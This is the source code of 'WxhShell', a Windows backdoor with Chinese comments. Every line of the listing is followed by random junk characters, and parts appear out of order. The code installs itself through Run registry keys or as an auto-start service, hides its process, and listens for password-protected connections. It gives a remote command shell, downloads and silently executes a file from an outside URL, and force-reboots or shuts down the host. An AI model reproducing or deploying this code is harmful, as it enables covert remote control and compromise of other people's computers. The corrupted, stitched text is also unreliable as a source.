    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D(@S+r_ota  
    if(Boot(SHUTDOWN)) hc(#{]].  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KEo ,m  
    else { T"}5}6rSG  
    closesocket(wsh); X Swl Tg  
    ExitThread(0); r4b 6 c  
    } 7?!d^$B  
    break; ed{ -/l~j  
    } (&Kk7<#`  
  // 获取shell 5FPM`hLT  
  case 's': { &v/dj@   
    CmdShell(wsh); MO]F1E?X  
    closesocket(wsh); 6RU~"C  
    ExitThread(0); #>("CAB02T  
    break; ~|D Ut   
  } UawyDs  
  // 退出 :gv{F} ##  
  case 'x': { $u6"*|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fh&G;aEq  
    CloseIt(wsh); 2G & a{  
    break; d=$Mim  
    } D :4[ ~A  
  // 离开 1APe=tJ  
  case 'q': { GE:vp>>}`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2. NN8PPD"  
    closesocket(wsh); + /4A  
    WSACleanup(); V# }!-Xj  
    exit(1); }1L4 "}L.  
    break; e }?db  
        } *k7+/bU~~  
  } +5g_KS  
  } a_^\=&?'  
xC?6v '  
  // 提示信息 ]Grek<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q5J5>  
} Gt8M&S-;  
  } ,a{P4Bq  
o=:9y-nH  
  return; 7J D' )  
} D# 9m\o_  
?um;s-x)  
// shell模块句柄 ]!W=^!  
int CmdShell(SOCKET sock) ihhDOmUto  
{ %OL$57Ia  
STARTUPINFO si; ^&9zw\x;z  
ZeroMemory(&si,sizeof(si)); m^!Z_]A![  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xk9%F?)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L81ZbNU?$  
PROCESS_INFORMATION ProcessInfo; T#T*Zw"+  
char cmdline[]="cmd"; j1Y~_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4B8 oO  
  return 0; XFVE>/H  
} fh&nu"&  
v|)4ocFK  
// 自身启动模式 yM6pd U]i  
int StartFromService(void) nK1Slg#U  
{ <yV"6/l 0  
typedef struct ,i ^9 |Oeq  
{ k$^UUo6  
  DWORD ExitStatus; V@.Ior}w  
  DWORD PebBaseAddress; IkL#SgY  
  DWORD AffinityMask; o)M}!MT  
  DWORD BasePriority; >jDDQ@  
  ULONG UniqueProcessId; ozyX$tp  
  ULONG InheritedFromUniqueProcessId; <`8n^m*  
}   PROCESS_BASIC_INFORMATION; gmUz9P(  
P1. [  
PROCNTQSIP NtQueryInformationProcess; f=l rg KE  
nmee 'oEw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |"q5sym8Y_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {LI=:xJJv  
rm'SOJVA  
  HANDLE             hProcess; ]6k\)#%2  
  PROCESS_BASIC_INFORMATION pbi; f=+mIZ  
JMCKcZ%N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g.k"]lP  
  if(NULL == hInst ) return 0; WMDl=6  
gi3F` m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rET\n(AJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x;O[c3I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q^@Q"J =v  
7(1|xYCx$  
  if (!NtQueryInformationProcess) return 0; lf`{zc r:  
(q/e1L-S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); do hA0  
  if(!hProcess) return 0; #H&|*lr  
xJpA0_xfG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?d\N(s9F  
 \{_q.;}  
  CloseHandle(hProcess); RT4x\&q  
q_:4w$>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "`/h#np  
if(hProcess==NULL) return 0; +q<jAW A  
+uF>2b6'  
HMODULE hMod; -u+vJ6EY  
char procName[255]; Gm&Za,4%4  
unsigned long cbNeeded; s2p\]|5  
j<m(PHSe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3GYw+%Z]  
etDk35!h~,  
  CloseHandle(hProcess); +%z> H"J.  
5+4IN5o]=  
if(strstr(procName,"services")) return 1; // 以服务启动 >a<.mU|#  
Pjf"CW+A  
  return 0; // 注册表启动 wq`s-qZu  
} }^WdJd]P  
RF$eQzW  
// 主模块 d UE,U=  
int StartWxhshell(LPSTR lpCmdLine) b<[Or^X ]  
{ *uRBzO}  
  SOCKET wsl; ZL&qp04}  
BOOL val=TRUE; 0@0w+&*"@  
  int port=0; h%na>G  
  struct sockaddr_in door; tPWLg),  
c% -Tem'#  
  if(wscfg.ws_autoins) Install(); jxJ8(sr$  
>{n,L6_ t  
port=atoi(lpCmdLine); VOsR An/N  
IxN9&xa  
if(port<=0) port=wscfg.ws_port; ='r!g  
f1RWP@iar  
  WSADATA data; ;vR4XHl|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5J.bD)yrP  
#6aW9GO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4}baSV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?T8}K>a  
  door.sin_family = AF_INET; +zN-!5x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IJp-BTO{V  
  door.sin_port = htons(port); dh\'<|\K  
G^|:N[>B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =+-UJo5  
closesocket(wsl); oAVnK[EMq`  
return 1; wc@X.Q[  
} e`_LEv  
&ee~p&S,>  
  if(listen(wsl,2) == INVALID_SOCKET) { hp50J  
closesocket(wsl); e(;,`L\*  
return 1; z]y.W`i   
} ~8Fk(E_  
  Wxhshell(wsl); =!A_^;NQf  
  WSACleanup(); %g$o/A$  
+4~_Ei[i  
return 0; ./Zk`-OBT  
Lnl(2xD  
} :K,i\  
@l5"nBs<_:  
// 以NT服务方式启动 (UD@q>c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k/_ 59@)  
{ dh iuI|?@  
DWORD   status = 0; oG?Xk%7&\  
  DWORD   specificError = 0xfffffff; 3BUSv#w{i  
@+2=g WH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !X#OOqPr=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !;v|'I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yjX9oxhtL  
  serviceStatus.dwWin32ExitCode     = 0; <8&au(I,vB  
  serviceStatus.dwServiceSpecificExitCode = 0; a(X@Q8l:  
  serviceStatus.dwCheckPoint       = 0; '3tCH)s  
  serviceStatus.dwWaitHint       = 0; FIhk@TKa  
/& {A!.;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1<@W6@]  
  if (hServiceStatusHandle==0) return; *I.f1lz%*  
ORw,)l  
status = GetLastError(); S!CC }3zw  
  if (status!=NO_ERROR) CAWNDl4  
{ BoWg0*5xb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (k.[GfCbD  
    serviceStatus.dwCheckPoint       = 0; 1N-\j0au  
    serviceStatus.dwWaitHint       = 0; Y\k#*\'Y~  
    serviceStatus.dwWin32ExitCode     = status; z'n:@E  
    serviceStatus.dwServiceSpecificExitCode = specificError; b94DJzL1z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n0 {i&[I~+  
    return; 9wwqcx)3(  
  } OX!tsARC@  
~rKrpb]ow  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I;|B.j  
  serviceStatus.dwCheckPoint       = 0; -<!NXm|kvz  
  serviceStatus.dwWaitHint       = 0; }B+C~@j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j{A y\n(  
} $k%2J9O  
7(8;t o6(  
// 处理NT服务事件,比如:启动、停止 BC.87Fji/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _C?hHWSf"  
{ 9~XA q^e  
switch(fdwControl) hx%v+/  
{ Rtl"Ub@HV  
case SERVICE_CONTROL_STOP: =s2*H8]  
  serviceStatus.dwWin32ExitCode = 0; osAd1<EIC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f}f9@>.  
  serviceStatus.dwCheckPoint   = 0; >*_$]E  
  serviceStatus.dwWaitHint     = 0; 4F'LBS]=0  
  { (Zrj_P`0[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0&|\N ? 8_  
  } E,U+o $  
  return; ,T$U'&;  
case SERVICE_CONTROL_PAUSE: +gtbcF@rx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O KR "4n:  
  break; ,/F~ Y&1I  
case SERVICE_CONTROL_CONTINUE: '9J/T57]e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Ie 0S~  
  break; vMH  
case SERVICE_CONTROL_INTERROGATE: Ckuh:bs  
  break; UECK:61Me  
}; f+,qNvBY/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [!#L6&:a8  
} w-MCZwCr)  
U$ElV]N  
// 标准应用程序主函数 /]Md~=yNp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K!Y71_#  
{ qi D@'Va\  
:>f )g  
// 获取操作系统版本 giw &&l=_  
OsIsNt=GetOsVer(); BG]#o| KW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |{NYkw  
oQVgyj.  
  // 从命令行安装 :bq8N@P/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hd ={CFip  
A[{yCn`tM  
  // 下载执行文件 ,Ah;A[%?~  
if(wscfg.ws_downexe) { FHg 9OI67  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZG8DIV\D7  
  WinExec(wscfg.ws_filenam,SW_HIDE); D.u{~  
} mL{6L?  
"&?kC2Y|  
if(!OsIsNt) { )g%d:xI  
// 如果时win9x,隐藏进程并且设置为注册表启动 `e&Suyf4B  
HideProc(); FGmb<z 2p  
StartWxhshell(lpCmdLine); <=/hi l  
} L^?qOylu  
else +lcbi  
  if(StartFromService()) 4p;`C  
  // 以服务方式启动 -- 95Jz  
  StartServiceCtrlDispatcher(DispatchTable); qt"m  
else MH\dC9%p  
  // 普通方式启动 \V~eVf;~  
  StartWxhshell(lpCmdLine); Moza".fiN  
"`e{/7I  
return 0; J<h $ wM  
} `l[c_%Bm  
D'Df JwA  
v^*K:#<Q!  
 >Abdd  
=========================================== ;$wVu|&  
!?h;wR  
^k">A:E2  
#h ]g?*}OJ  
?1 4{J]H4  
K Z91-  
" n 0L^e  
S|N_o   
#include <stdio.h> })Vi  
#include <string.h> YPk fx  
#include <windows.h> _A9AEi'.  
#include <winsock2.h> z46~@y%k  
#include <winsvc.h>  d{3QP5  
#include <urlmon.h> jm/`iXnMf  
`1fY)d^ZS  
#pragma comment (lib, "Ws2_32.lib") e6$WQd`O  
#pragma comment (lib, "urlmon.lib") Feq]U?  
o 3P${Rq  
#define MAX_USER   100 // 最大客户端连接数 h3 }OX{k  
#define BUF_SOCK   200 // sock buffer ?%[@Qb=2  
#define KEY_BUFF   255 // 输入 buffer '7 @zGk##(  
Lnl=.z`jK  
#define REBOOT     0   // 重启 T:yE(OBf  
#define SHUTDOWN   1   // 关机 Eo]xNn/g  
2pa5U;u:+  
#define DEF_PORT   5000 // 监听端口 4>e&f&y~  
)Y{L&A  
#define REG_LEN     16   // 注册表键长度 +',S]Edx  
#define SVC_LEN     80   // NT服务名长度 y766; X:J  
W.KDVE$}f  
// 从dll定义API K1yzD6[eW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /@TF5]Ri  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); je=a/Y=%U{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yYA$I'Bm\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BpP y&  
s9DYi~/,  
// wxhshell配置信息 h J)h\  
struct WSCFG { y _k l:Ssa  
  int ws_port;         // 监听端口 }Oq5tC@$G  
  char ws_passstr[REG_LEN]; // 口令 vV-`jsq20H  
  int ws_autoins;       // 安装标记, 1=yes 0=no w%jII{@,  
  char ws_regname[REG_LEN]; // 注册表键名 Txb#C[`  
  char ws_svcname[REG_LEN]; // 服务名 kUrkG80q|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y&Z.2>b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 56kI 5:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [5Mr@f4I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,(^*+G.i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cj lk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~dTrf>R8M  
x7<K<k;s  
}; M gi,$H  
@Z:l62l=bE  
// default Wxhshell configuration 6A+nS=  
struct WSCFG wscfg={DEF_PORT, mtcw#D  
    "xuhuanlingzhe", T!)(Dv8@F  
    1, PIS2Ed]  
    "Wxhshell", -k"/X8  
    "Wxhshell", P8/0H(,  
            "WxhShell Service", '3^'B0 3  
    "Wrsky Windows CmdShell Service", *_\_'@1|J)  
    "Please Input Your Password: ", oV78Hq6  
  1, >e5 qv(y]  
  "http://www.wrsky.com/wxhshell.exe", U0P~  
  "Wxhshell.exe" 1f=gYzuO)  
    }; ":QZy8f9%  
aHK}sr,U  
// 消息定义模块 CryBwm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LsU9 .  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bdE[;+58  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZyFjFHe+  
char *msg_ws_ext="\n\rExit."; z1X`o  
char *msg_ws_end="\n\rQuit."; ^v7gIC  
char *msg_ws_boot="\n\rReboot..."; 5">Z'+8  
char *msg_ws_poff="\n\rShutdown..."; D_zZXbNc  
char *msg_ws_down="\n\rSave to "; suDQ~\ n  
R.yvjPwJ  
char *msg_ws_err="\n\rErr!"; V+9 MoT?8  
char *msg_ws_ok="\n\rOK!"; CB}2j  
SSMHoJGm  
char ExeFile[MAX_PATH]; J)p l|I  
int nUser = 0; @_}P-h  
HANDLE handles[MAX_USER]; r$s Qf&=  
int OsIsNt; LyFN.2qw  
V1B5w_^>h'  
SERVICE_STATUS       serviceStatus; p9{mS7R9T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HY:7? <r  
tf`^v6m%]  
// 函数声明 ds[|   
int Install(void); qF;|bF  
int Uninstall(void); Se =`N  
int DownloadFile(char *sURL, SOCKET wsh); *VxgARIL  
int Boot(int flag); i?^L/b`H  
void HideProc(void); =U?dbSf1*  
int GetOsVer(void); j/?kL{B  
int Wxhshell(SOCKET wsl); X$W~mQma6  
void TalkWithClient(void *cs); onxLyx|A  
int CmdShell(SOCKET sock); toC^LZgZ_6  
int StartFromService(void); L) T (<  
int StartWxhshell(LPSTR lpCmdLine); Qh\60f>0  
 H6/$d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [S!/E4>['  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); svH !1 b  
'm kLCS  
// 数据结构和表定义 &&>ekG 9@  
SERVICE_TABLE_ENTRY DispatchTable[] = /h|#J  
{ Wg]Qlw`\|  
{wscfg.ws_svcname, NTServiceMain}, 9CD_ os\h  
{NULL, NULL} Y`a3tO=Pd  
}; ~2-1 j  
*VT/  
// 自我安装 1/J=uH  
int Install(void) 9~[Y-cpoi  
{ kMN~Y  
  char svExeFile[MAX_PATH]; k\?Ii<m  
  HKEY key; &0JI!bR(  
  strcpy(svExeFile,ExeFile); k@W1-D?  
U&p${IcEm  
// 如果是win9x系统,修改注册表设为自启动 nb%6X82Q  
if(!OsIsNt) { @b2aNS<T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aAUvlb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =Jb>x#Y  
  RegCloseKey(key); m!HJj>GEo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RPRBmb940  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z/+#pWBI!  
  RegCloseKey(key); 6(ol1 (U  
  return 0; oYH-wQj  
    } C]A.i2o8  
  } yD}B%\45  
} l!u_"I8j5  
else { g]0_5?i  
zy }$i?  
// 如果是NT以上系统,安装为系统服务 v`1M[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1p=]hC  
if (schSCManager!=0) xU`p|(SS-  
{ #KZBsa@p  
  SC_HANDLE schService = CreateService G" "ZI$`  
  ( 9'bwWBf7  
  schSCManager, R8'RA%O9J  
  wscfg.ws_svcname, (<C3Vts))  
  wscfg.ws_svcdisp, rFL;'Cj@  
  SERVICE_ALL_ACCESS, t1x1,SL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YUk\Q%  
  SERVICE_AUTO_START, brUF6rQ  
  SERVICE_ERROR_NORMAL, ?&1!vz  
  svExeFile, II,8O  
  NULL, KPUV@eQ,  
  NULL, TuaBm1S{f  
  NULL, h@ry y\9  
  NULL, Qt<&WB fn  
  NULL {I't]Qj_e  
  ); nAdf=D'P  
  if (schService!=0) |&i<bqLw:  
  { {"KMs[M  
  CloseServiceHandle(schService); `<d }V2rdz  
  CloseServiceHandle(schSCManager); DSn_0D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kE1TP]|  
  strcat(svExeFile,wscfg.ws_svcname); }k.Z~1y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >fQMXfoY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *\F~[  
  RegCloseKey(key); d%n-[ZL  
  return 0; X!EP$!  
    } 8YSAf+{FtK  
  } :^h$AWR^f  
  CloseServiceHandle(schSCManager); -zfR)(zG  
} LZxNAua  
} 4BpZJ~(p  
"f OV^B  
return 1; s!$a \k  
} :Zw2'IV  
AH~E)S  
// 自我卸载 R.<g3"Lm>  
int Uninstall(void)  rjnrju+  
{ FGq [ \B  
  HKEY key; SXP]%{@ R/  
pOoEI+t  
if(!OsIsNt) { iDqoa\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  _6vW F  
  RegDeleteValue(key,wscfg.ws_regname); dG?*y  
  RegCloseKey(key); ]3Sp W{=^(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7WzxA=*#  
  RegDeleteValue(key,wscfg.ws_regname); 7;@]t^d=$  
  RegCloseKey(key); /Lr.e%  
  return 0; <lJ345Q  
  } l9Q- iJ  
} (X*^dO  
} kb!%-k  
else { 5wU]!bxr  
SNk=b6`9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ysnx3(+|  
if (schSCManager!=0) ('+d.F[109  
{ F#5~M<`.o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5'u<iSmBo  
  if (schService!=0) R[]Mdt<  
  { z},# ~L6$q  
  if(DeleteService(schService)!=0) { R 2vlFx/  
  CloseServiceHandle(schService); aV0"~5  
  CloseServiceHandle(schSCManager); +G>\-tjSD  
  return 0; 6[AL|d DK  
  } WcbiqxK7-  
  CloseServiceHandle(schService); nQ3A~ ()  
  } l,aay-E  
  CloseServiceHandle(schSCManager); xxQ;xI0+]  
} MVUJD{X#  
} <b*DQ:N  
A?OQE9'  
return 1; &_8 947  
} }"%N4(Kd  
M&M 6;Ph  
// 从指定url下载文件 _ jlRlt  
int DownloadFile(char *sURL, SOCKET wsh) P@~yx#G  
{ 7tCw*t$  
  HRESULT hr; goWuw}?  
char seps[]= "/"; 2y1Sne=<Kb  
char *token; HTTC TR  
char *file; % |L=l{g  
char myURL[MAX_PATH]; `){.+S(5C  
char myFILE[MAX_PATH]; :\_ 5oVb  
%mgE;~"&  
strcpy(myURL,sURL); "Z+k=~(  
  token=strtok(myURL,seps); S$-7SEkO+  
  while(token!=NULL) j<e2d7oN  
  { 8zq=N#x  
    file=token; sNFlKQ8)Q  
  token=strtok(NULL,seps); $<[79al#  
  } 4s oJ.j8  
*lJxH8\  
GetCurrentDirectory(MAX_PATH,myFILE); J] r^W)O  
strcat(myFILE, "\\"); ?+8\.a!  
strcat(myFILE, file); uCB=u[]y4  
  send(wsh,myFILE,strlen(myFILE),0); ;722\y(Y  
send(wsh,"...",3,0); z\4.Gm-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `uTmw^pZX  
  if(hr==S_OK) >+T)#.wo&  
return 0; f* wx<  
else fI|$K )K  
return 1; +LJ73 !  
4?01s-Y  
} L-&\\{ X  
_,*r_D61S  
// 系统电源模块 KqP#6^ _  
int Boot(int flag) )=(kBWM  
{ M869MDo  
  HANDLE hToken; *qpSXmOz  
  TOKEN_PRIVILEGES tkp; M)(DZ}  
bvOq5Q6  
  if(OsIsNt) { + >!;i6|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qZZK#,Qb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wb ;xRP"w  
    tkp.PrivilegeCount = 1; (**oRwr%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]eV8b*d6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K:WDl;8 (d  
if(flag==REBOOT) { 'Z]w^<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1{.9uw"2S  
  return 0; X5w$4Kj&4l  
} :rP=t ,  
else { asqV~n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e+=K d+:k  
  return 0; iN.n8MN=I  
} $<OD31T  
  } y>ktcuML  
  else { !H\F2Vxs  
if(flag==REBOOT) { ~F#j#n(=`q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^=*;X;7  
  return 0; ]I6  J7A[  
} &xExyz~`  
else { A":T1s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @PIp* [7oC  
  return 0; 8xMX  
} vw@S>G lGg  
} Ni7nq8B<  
-I%5$`z  
return 1; rS Ni@;   
} YchH~m|  
?r!o~|9|  
// win9x进程隐藏模块 {\\T gs  
void HideProc(void) '0,^6'VWOV  
{ 2+WaA ,   
H6gSO(U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &,)&%Sg[  
  if ( hKernel != NULL ) A/?7w   
  { c4zR*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3r1*m  +  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 51.%;aY~z  
    FreeLibrary(hKernel); fd9k?,zM  
  } $NO&YLS@  
[KQ6Ta.  
return; q0 \6F^;M  
} Zgb!E]V[  
N)Z?Z+ }h  
// 获取操作系统版本 'we>q@  
int GetOsVer(void) >C~6\L`c  
{ bQ5\ ]5M  
  OSVERSIONINFO winfo; Ht&Y C<X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &>}5jC.I  
  GetVersionEx(&winfo); I*^Ta{j[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -DAlRz#d,  
  return 1; 9Gz=lc[!7  
  else =?`c=z3~i$  
  return 0; lUMdrt0@z  
} q75s#[<ap  
x$(f7?s] 1  
// 客户端句柄模块 HtYwEjI  
int Wxhshell(SOCKET wsl) e8 b:)"R  
{ 6d~'$<5on  
  SOCKET wsh; ,v}k{( 16{  
  struct sockaddr_in client; ijU*|8n{>  
  DWORD myID; {(?4!rh  
-H-~;EzU  
  while(nUser<MAX_USER) r,2g^ K)6  
{ rQ snhv  
  int nSize=sizeof(client); '}#9)}x!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BfiD9ka-z  
  if(wsh==INVALID_SOCKET) return 1; ~7Ux@Sx;  
;xn0;V'=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J4U1t2@)9  
if(handles[nUser]==0) [opGZ`>)j"  
  closesocket(wsh); Qe(:|q _  
else ku M$UYTTX  
  nUser++; h!9ei6  
  } _u9Jxw?F@Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G  .4X'  
] @fk] ]R  
  return 0; |(^PS8wG  
} f6"Z'{j  
ZSm3XXk  
// 关闭 socket IO:G1;[/2L  
void CloseIt(SOCKET wsh) Y\'}a+:@Ph  
{ +x}<IS8  
closesocket(wsh); ?|Zx!z ($  
nUser--; X#;bh78&-  
ExitThread(0); g< .qUBPKX  
} Rbv;?'O$L  
 "-V"=t'  
// 客户端请求句柄 o#1 $q`Z  
void TalkWithClient(void *cs) Eu04e N  
{ seeB S/%  
~4cC/"q$X  
  SOCKET wsh=(SOCKET)cs; {H'Y `+  
  char pwd[SVC_LEN]; o*hF<D$Y  
  char cmd[KEY_BUFF]; FHI ;)wn=  
char chr[1]; ENY+^7  
int i,j; cj5+N M"  
]5:8Z@  
  while (nUser < MAX_USER) { Pj% |\kbNs  
 %D "I  
if(wscfg.ws_passstr) { Dv`c<+q(#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e\75:oQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X)3!_  
  //ZeroMemory(pwd,KEY_BUFF); }*"p?L^p{  
      i=0; ;gr9/Vl  
  while(i<SVC_LEN) { II x#2r  
uY'HT|@:{  
  // 设置超时 ^K@C"j?M/  
  fd_set FdRead; ` sU/&  P  
  struct timeval TimeOut; ,$&&-p I]  
  FD_ZERO(&FdRead); @Do= k  
  FD_SET(wsh,&FdRead); ;sFF+^~L  
  TimeOut.tv_sec=8; [j'X;tVX{  
  TimeOut.tv_usec=0; c~ V*:$F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $PHvA6D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .#pU=v#/[  
UW EV^ &"x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t\ewHZG"  
  pwd=chr[0]; Owk|@6!  
  if(chr[0]==0xd || chr[0]==0xa) { =odFmF  
  pwd=0; )53y AyP  
  break; du^J2m{f  
  } *CHX  
  i++; *4Y V v  
    } (Ep\Z 6*  
!%0 * z  
  // 如果是非法用户,关闭 socket o{[YA} xc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IPo?:1x]s  
}  ; 4~hB  
kMd.h[X~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q]>.b%s[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1&Zj  
VW4r{&rS  
while(1) { B^9j@3Ux  
czd~8WgOa  
  ZeroMemory(cmd,KEY_BUFF); u;c?d!E  
y'*K|a TG  
      // 自动支持客户端 telnet标准   | Xy6PN8  
  j=0; 4{`{WI{  
  while(j<KEY_BUFF) { =rX>.P%Q5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~qOa\#x_  
  cmd[j]=chr[0]; }vM("v|M  
  if(chr[0]==0xa || chr[0]==0xd) { R~$qo)v  
  cmd[j]=0; V~5jfcd  
  break; Q'0d~6n&{  
  } | %Vh`HT  
  j++; C3YT1tK  
    } '."ed%=MC  
@sC`!Rmy'-  
  // 下载文件 n7-6- #  
  if(strstr(cmd,"http://")) { <e</m)j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y h9*z3  
  if(DownloadFile(cmd,wsh)) 9qG6Pb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BF{Y"8u$  
  else 3/n5#&c\4  
